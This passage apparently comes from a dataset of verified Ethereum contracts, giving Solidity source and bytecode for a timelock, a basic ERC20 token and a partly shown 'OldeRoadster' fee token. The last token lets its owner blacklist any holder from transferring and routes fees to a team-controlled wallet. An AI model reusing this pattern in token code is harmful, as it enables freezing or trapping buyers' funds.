div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * NOTE: This is a feature of the next version of OpenZeppelin Contracts. * @dev Get it via `npm install @openzeppelin/[email protected]`. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /// @notice Based on Compound Governance. contract Timelock { using SafeMath for uint; event NewAdmin(address indexed newAdmin); event NewPendingAdmin(address indexed newPendingAdmin); event NewDelay(uint indexed newDelay); event CancelTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta); event ExecuteTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta); event QueueTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta); uint public constant GRACE_PERIOD = 14 days; uint public constant MINIMUM_DELAY = 2 days; uint public constant MAXIMUM_DELAY = 30 days; address public admin; address public pendingAdmin; uint public delay; mapping (bytes32 => bool) public queuedTransactions; constructor(address _admin, uint _delay) public { require(_delay >= MINIMUM_DELAY, "Timelock::constructor: Delay must exceed minimum delay."); require(_delay <= MAXIMUM_DELAY, "Timelock::setDelay: Delay must not exceed maximum delay."); admin = _admin; delay = _delay; } function() external payable { } function setDelay(uint delay_) public { require(msg.sender == address(this), "Timelock::setDelay: Call must come from Timelock."); require(delay_ >= MINIMUM_DELAY, "Timelock::setDelay: Delay must exceed minimum delay."); require(delay_ <= MAXIMUM_DELAY, "Timelock::setDelay: Delay must not exceed maximum delay."); delay = delay_; emit NewDelay(delay); } function acceptAdmin() public { require(msg.sender == pendingAdmin, "Timelock::acceptAdmin: Call must come from pendingAdmin."); admin = msg.sender; pendingAdmin = address(0); emit NewAdmin(admin); } function setPendingAdmin(address pendingAdmin_) public { require(msg.sender == address(this), "Timelock::setPendingAdmin: Call must come from Timelock."); pendingAdmin = pendingAdmin_; emit NewPendingAdmin(pendingAdmin); } function queueTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public returns (bytes32) { require(msg.sender == admin, "Timelock::queueTransaction: Call must come from admin."); require(eta >= getBlockTimestamp().add(delay), "Timelock::queueTransaction: Estimated execution block must satisfy delay."); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); queuedTransactions[txHash] = true; emit QueueTransaction(txHash, target, value, signature, data, eta); return txHash; } function cancelTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public { require(msg.sender == admin, "Timelock::cancelTransaction: Call must come from admin."); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); queuedTransactions[txHash] = false; emit CancelTransaction(txHash, target, value, signature, data, eta); } function executeTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public payable returns (bytes memory) { require(msg.sender == admin, "Timelock::executeTransaction: Call must come from admin."); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); require(queuedTransactions[txHash], "Timelock::executeTransaction: Transaction hasn't been queued."); require(getBlockTimestamp() >= eta, "Timelock::executeTransaction: Transaction hasn't surpassed time lock."); require(getBlockTimestamp() <= eta.add(GRACE_PERIOD), "Timelock::executeTransaction: Transaction is stale."); queuedTransactions[txHash] = false; bytes memory callData; if (bytes(signature).length == 0) { callData = data; } else { callData = abi.encodePacked(bytes4(keccak256(bytes(signature))), data); } // solium-disable-next-line security/no-call-value (bool success, bytes memory returnData) = target.call.value(value)(callData); require(success, "Timelock::executeTransaction: Transaction execution reverted."); emit ExecuteTransaction(txHash, target, value, signature, data, eta); return returnData; } function getBlockTimestamp() internal view returns (uint) { // solium-disable-next-line security/no-block-members return block.timestamp; } }
0x6080604052600436106100c25760003560e01c80636a42b8f81161007f578063c1a287e211610059578063c1a287e2146101d0578063e177246e146101e5578063f2b0653714610205578063f851a44014610232576100c2565b80636a42b8f8146101915780637d645fab146101a6578063b1b43ae5146101bb576100c2565b80630825f38f146100c45780630e18b681146100ed57806326782247146101025780633a66f901146101245780634dd18bf514610151578063591fcdfe14610171575b005b6100d76100d23660046108c4565b610247565b6040516100e49190610f91565b60405180910390f35b3480156100f957600080fd5b506100c2610469565b34801561010e57600080fd5b506101176104e6565b6040516100e49190610f0d565b34801561013057600080fd5b5061014461013f3660046108c4565b6104f5565b6040516100e49190610f83565b34801561015d57600080fd5b506100c261016c36600461089e565b6105f8565b34801561017d57600080fd5b506100c261018c3660046108c4565b610667565b34801561019d57600080fd5b5061014461072b565b3480156101b257600080fd5b50610144610731565b3480156101c757600080fd5b50610144610738565b3480156101dc57600080fd5b5061014461073f565b3480156101f157600080fd5b506100c2610200366004610969565b610746565b34801561021157600080fd5b50610225610220366004610969565b6107de565b6040516100e49190610f75565b34801561023e57600080fd5b506101176107f3565b6000546060906001600160a01b0316331461027d5760405162461bcd60e51b815260040161027490610fa2565b60405180910390fd5b60008686868686604051602001610298959493929190610f1b565b60408051601f1981840301815291815281516020928301206000818152600390935291205490915060ff166102df5760405162461bcd60e51b815260040161027490611012565b826102e8610802565b10156103065760405162461bcd60e51b815260040161027490610fe2565b610319836212750063ffffffff61080616565b610321610802565b111561033f5760405162461bcd60e51b815260040161027490610fc2565b6000818152600360205260409020805460ff191690558451606090610365575083610391565b85805190602001208560405160200161037f929190610ede565b60405160208183030381529060405290505b60006060896001600160a01b031689846040516103ae9190610efa565b60006040518083038185875af1925050503d80600081146103eb576040519150601f19603f3d011682016040523d82523d6000602084013e6103f0565b606091505b5091509150816104125760405162461bcd60e51b815260040161027490611052565b896001600160a01b0316847fa560e3198060a2f10670c1ec5b403077ea6ae93ca8de1c32b451dc1a943cd6e78b8b8b8b6040516104529493929190611082565b60405180910390a393505050505b95945050505050565b6001546001600160a01b031633146104935760405162461bcd60e51b815260040161027490611022565b60008054336001600160a01b031991821617808355600180549092169091556040516001600160a01b03909116917f71614071b88dee5e0b2ae578a9dd7b2ebbe9ae832ba419dc0242cd065a290b6c91a2565b6001546001600160a01b031681565b600080546001600160a01b031633146105205760405162461bcd60e51b815260040161027490611042565b61053a60025461052e610802565b9063ffffffff61080616565b8210156105595760405162461bcd60e51b815260040161027490611062565b60008686868686604051602001610574959493929190610f1b565b60408051601f19818403018152828252805160209182012060008181526003909252919020805460ff1916600117905591506001600160a01b0388169082907f76e2796dc3a81d57b0e8504b647febcbeeb5f4af818e164f11eef8131a6a763f906105e6908a908a908a908a90611082565b60405180910390a39695505050505050565b3330146106175760405162461bcd60e51b815260040161027490611032565b600180546001600160a01b0319166001600160a01b0383811691909117918290556040519116907f69d78e38a01985fbb1462961809b4b2d65531bc93b2b94037f3334b82ca4a75690600090a250565b6000546001600160a01b031633146106915760405162461bcd60e51b815260040161027490610fb2565b600085858585856040516020016106ac959493929190610f1b565b60408051601f19818403018152828252805160209182012060008181526003909252919020805460ff1916905591506001600160a01b0387169082907f2fffc091a501fd91bfbff27141450d3acb40fb8e6d8382b243ec7a812a3aaf879061071b908990899089908990611082565b60405180910390a3505050505050565b60025481565b62278d0081565b6202a30081565b6212750081565b3330146107655760405162461bcd60e51b815260040161027490611072565b6202a3008110156107885760405162461bcd60e51b815260040161027490610ff2565b62278d008111156107ab5760405162461bcd60e51b815260040161027490611002565b600281905560405181907f948b1f6a42ee138b7e34058ba85a37f716d55ff25ff05a763f15bed6a04c8d2c90600090a250565b60036020526000908152604090205460ff1681565b6000546001600160a01b031681565b4290565b60008282018381101561082b5760405162461bcd60e51b815260040161027490610fd2565b90505b92915050565b803561082e81611198565b803561082e816111af565b600082601f83011261085b57600080fd5b813561086e610869826110ec565b6110c5565b9150808252602083016020830185838301111561088a57600080fd5b610895838284611152565b50505092915050565b6000602082840312156108b057600080fd5b60006108bc8484610834565b949350505050565b600080600080600060a086880312156108dc57600080fd5b60006108e88888610834565b95505060206108f98882890161083f565b945050604086013567ffffffffffffffff81111561091657600080fd5b6109228882890161084a565b935050606086013567ffffffffffffffff81111561093f57600080fd5b61094b8882890161084a565b925050608061095c8882890161083f565b9150509295509295909350565b60006020828403121561097b57600080fd5b60006108bc848461083f565b61099081611126565b82525050565b61099081611131565b61099081611136565b6109906109b482611139565b611136565b60006109c482611114565b6109ce8185611118565b93506109de81856020860161115e565b6109e78161118e565b9093019392505050565b60006109fc82611114565b610a068185611121565b9350610a1681856020860161115e565b9290920192915050565b6000610a2d603883611118565b7f54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a20436181527f6c6c206d75737420636f6d652066726f6d2061646d696e2e0000000000000000602082015260400192915050565b6000610a8c603783611118565b7f54696d656c6f636b3a3a63616e63656c5472616e73616374696f6e3a2043616c81527f6c206d75737420636f6d652066726f6d2061646d696e2e000000000000000000602082015260400192915050565b6000610aeb603383611118565b6000805160206111b983398151915281527230b739b0b1ba34b7b71034b99039ba30b6329760691b602082015260400192915050565b6000610b2e601b83611118565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000815260200192915050565b6000610b67604583611118565b6000805160206111b983398151915281527f616e73616374696f6e206861736e2774207375727061737365642074696d65206020820152643637b1b59760d91b604082015260600192915050565b6000610bc2603483611118565b7f54696d656c6f636b3a3a73657444656c61793a2044656c6179206d75737420658152733c31b2b2b21036b4b734b6bab6903232b630bc9760611b602082015260400192915050565b6000610c18603883611118565b7f54696d656c6f636b3a3a73657444656c61793a2044656c6179206d757374206e81527f6f7420657863656564206d6178696d756d2064656c61792e0000000000000000602082015260400192915050565b6000610c77603d83611118565b6000805160206111b983398151915281527f616e73616374696f6e206861736e2774206265656e207175657565642e000000602082015260400192915050565b6000610cc4603883611118565b7f54696d656c6f636b3a3a61636365707441646d696e3a2043616c6c206d75737481527f20636f6d652066726f6d2070656e64696e6741646d696e2e0000000000000000602082015260400192915050565b6000610d23603883611118565b7f54696d656c6f636b3a3a73657450656e64696e6741646d696e3a2043616c6c2081527f6d75737420636f6d652066726f6d2054696d656c6f636b2e0000000000000000602082015260400192915050565b6000610d82603683611118565b7f54696d656c6f636b3a3a71756575655472616e73616374696f6e3a2043616c6c8152751036bab9ba1031b7b6b290333937b69030b236b4b71760511b602082015260400192915050565b6000610dda603d83611118565b6000805160206111b983398151915281527f616e73616374696f6e20657865637574696f6e2072657665727465642e000000602082015260400192915050565b6000610e27604983611118565b7f54696d656c6f636b3a3a71756575655472616e73616374696f6e3a204573746981527f6d6174656420657865637574696f6e20626c6f636b206d757374207361746973602082015268333c903232b630bc9760b91b604082015260600192915050565b6000610e98603183611118565b7f54696d656c6f636b3a3a73657444656c61793a2043616c6c206d75737420636f81527036b290333937b6902a34b6b2b637b1b59760791b602082015260400192915050565b6000610eea82856109a8565b6004820191506108bc82846109f1565b6000610f0682846109f1565b9392505050565b6020810161082e8284610987565b60a08101610f298288610987565b610f36602083018761099f565b8181036040830152610f4881866109b9565b90508181036060830152610f5c81856109b9565b9050610f6b608083018461099f565b9695505050505050565b6020810161082e8284610996565b6020810161082e828461099f565b60208082528101610f0681846109b9565b6020808252810161082e81610a20565b6020808252810161082e81610a7f565b6020808252810161082e81610ade565b6020808252810161082e81610b21565b6020808252810161082e81610b5a565b6020808252810161082e81610bb5565b6020808252810161082e81610c0b565b6020808252810161082e81610c6a565b6020808252810161082e81610cb7565b6020808252810161082e81610d16565b6020808252810161082e81610d75565b6020808252810161082e81610dcd565b6020808252810161082e81610e1a565b6020808252810161082e81610e8b565b60808101611090828761099f565b81810360208301526110a281866109b9565b905081810360408301526110b681856109b9565b9050610460606083018461099f565b60405181810167ffffffffffffffff811182821017156110e457600080fd5b604052919050565b600067ffffffffffffffff82111561110357600080fd5b506020601f91909101601f19160190565b5190565b90815260200190565b919050565b600061082e82611146565b151590565b90565b6001600160e01b03191690565b6001600160a01b031690565b82818337506000910152565b60005b83811015611179578181015183820152602001611161565b83811115611188576000848401525b50505050565b601f01601f191690565b6111a181611126565b81146111ac57600080fd5b50565b6111a18161113656fe54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472a365627a7a72315820b4973abb0487b862b1efded1113697c16c8bc9c778671b4c78cd45ff586f1f4a6c6578706572696d656e74616cf564736f6c63430005110040
{"success": true, "error": null, "results": {}}
7,286
0xcd0a17836890c915ff303416a16ca3f7d7e74220
/** * @author https://github.com/Dmitx */ pragma solidity ^0.4.24; /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); event Transfer( address indexed from, address indexed to, uint256 value ); event Approval( address indexed owner, address indexed spender, uint256 value ); } /** * @title SafeMath * @dev Math operations with safety checks that revert on error */ library SafeMath { /** * @dev Multiplies two numbers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two numbers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); // Solidity only automatically asserts when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /** * @dev Adds two numbers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /** * @dev Divides two numbers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md * Originally based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; uint256 private _totalSupply; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev Gets the balance of the specified address. * @param owner The address to query the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param owner address The address which owns the funds. * @param spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address owner, address spender ) public view returns (uint256) { return _allowed[owner][spender]; } /** * @dev Transfer token for a specified address * @param to The address to transfer to. * @param value The amount to be transferred. */ function transfer(address to, uint256 value) public returns (bool) { require(value <= _balances[msg.sender]); require(to != address(0)); _balances[msg.sender] = _balances[msg.sender].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(msg.sender, to, value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param spender The address which will spend the funds. * @param value The amount of tokens to be spent. */ function approve(address spender, uint256 value) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } /** * @dev Transfer tokens from one address to another * @param from address The address which you want to send tokens from * @param to address The address which you want to transfer to * @param value uint256 the amount of tokens to be transferred */ function transferFrom( address from, address to, uint256 value ) public returns (bool) { require(value <= _balances[from]); require(value <= _allowed[from][msg.sender]); require(to != address(0)); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); emit Transfer(from, to, value); return true; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param spender The address which will spend the funds. * @param addedValue The amount of tokens to increase the allowance by. */ function increaseAllowance( address spender, uint256 addedValue ) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = ( _allowed[msg.sender][spender].add(addedValue)); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param spender The address which will spend the funds. * @param subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseAllowance( address spender, uint256 subtractedValue ) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = ( _allowed[msg.sender][spender].sub(subtractedValue)); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } /** * @dev Internal function that mints an amount of the token and assigns it to * an account. This encapsulates the modification of balances such that the * proper events are emitted. * @param account The account that will receive the created tokens. * @param amount The amount that will be created. */ function _mint(address account, uint256 amount) internal { require(account != 0); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } } /** * @title VivigleToken * @dev ERC20 Token for Vivigle project. */ contract VivigleToken is ERC20 { string public constant name = "ViviCoin"; string public constant symbol = "Vivi"; uint8 public constant decimals = 18; // 40 000 000 000 tokens uint256 public constant INITIAL_SUPPLY = 4e10 * (10 ** uint256(decimals)); /** * @dev Constructor that gives _initial_address all of existing tokens. */ constructor(address _initial_address) public { _mint(_initial_address, INITIAL_SUPPLY); } }
0x6080604052600436106100b95763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100be578063095ea7b31461014857806318160ddd1461018057806323b872dd146101a75780632ff2e9dc146101d1578063313ce567146101e6578063395093511461021157806370a082311461023557806395d89b4114610256578063a457c2d71461026b578063a9059cbb1461028f578063dd62ed3e146102b3575b600080fd5b3480156100ca57600080fd5b506100d36102da565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561010d5781810151838201526020016100f5565b50505050905090810190601f16801561013a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015457600080fd5b5061016c600160a060020a0360043516602435610311565b604080519115158252519081900360200190f35b34801561018c57600080fd5b5061019561038f565b60408051918252519081900360200190f35b3480156101b357600080fd5b5061016c600160a060020a0360043581169060243516604435610395565b3480156101dd57600080fd5b5061019561050a565b3480156101f257600080fd5b506101fb61051a565b6040805160ff9092168252519081900360200190f35b34801561021d57600080fd5b5061016c600160a060020a036004351660243561051f565b34801561024157600080fd5b50610195600160a060020a03600435166105cf565b34801561026257600080fd5b506100d36105ea565b34801561027757600080fd5b5061016c600160a060020a0360043516602435610621565b34801561029b57600080fd5b5061016c600160a060020a036004351660243561066c565b3480156102bf57600080fd5b50610195600160a060020a036004358116906024351661074b565b60408051808201909152600881527f56697669436f696e000000000000000000000000000000000000000000000000602082015281565b6000600160a060020a038316151561032857600080fd5b336000818152600160209081526040808320600160a060020a03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b60025490565b600160a060020a0383166000908152602081905260408120548211156103ba57600080fd5b600160a060020a03841660009081526001602090815260408083203384529091529020548211156103ea57600080fd5b600160a060020a03831615156103ff57600080fd5b600160a060020a038416600090815260208190526040902054610428908363ffffffff61077616565b600160a060020a03808616600090815260208190526040808220939093559085168152205461045d908363ffffffff61078d16565b600160a060020a0380851660009081526020818152604080832094909455918716815260018252828120338252909152205461049f908363ffffffff61077616565b600160a060020a03808616600081815260016020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b6b813f3978f89409844000000081565b601281565b6000600160a060020a038316151561053657600080fd5b336000908152600160209081526040808320600160a060020a038716845290915290205461056a908363ffffffff61078d16565b336000818152600160209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a031660009081526020819052604090205490565b60408051808201909152600481527f5669766900000000000000000000000000000000000000000000000000000000602082015281565b6000600160a060020a038316151561063857600080fd5b336000908152600160209081526040808320600160a060020a038716845290915290205461056a908363ffffffff61077616565b3360009081526020819052604081205482111561068857600080fd5b600160a060020a038316151561069d57600080fd5b336000908152602081905260409020546106bd908363ffffffff61077616565b3360009081526020819052604080822092909255600160a060020a038516815220546106ef908363ffffffff61078d16565b600160a060020a038416600081815260208181526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b600160a060020a03918216600090815260016020908152604080832093909416825291909152205490565b6000808383111561078657600080fd5b5050900390565b60008282018381101561079f57600080fd5b93925050505600a165627a7a72305820577fa9b3b275bc9da9aaa5bc63eb2edd31e982b6a09d8969ce70534b8b2a2d390029
{"success": true, "error": null, "results": {}}
7,287
0x6ef414b584e77fb6575e58639355ebf3dc5d4a20
/** *Submitted for verification at Etherscan.io on 2021-07-06 */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract OldeRoadster is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = " Olde Roadster "; string private constant _symbol = " Roadster"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 5; uint256 private _teamFee = 10; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1) { _teamAddress = addr1; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 5; _teamFee = 10; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (60 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = false; _maxTxAmount = 10000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = 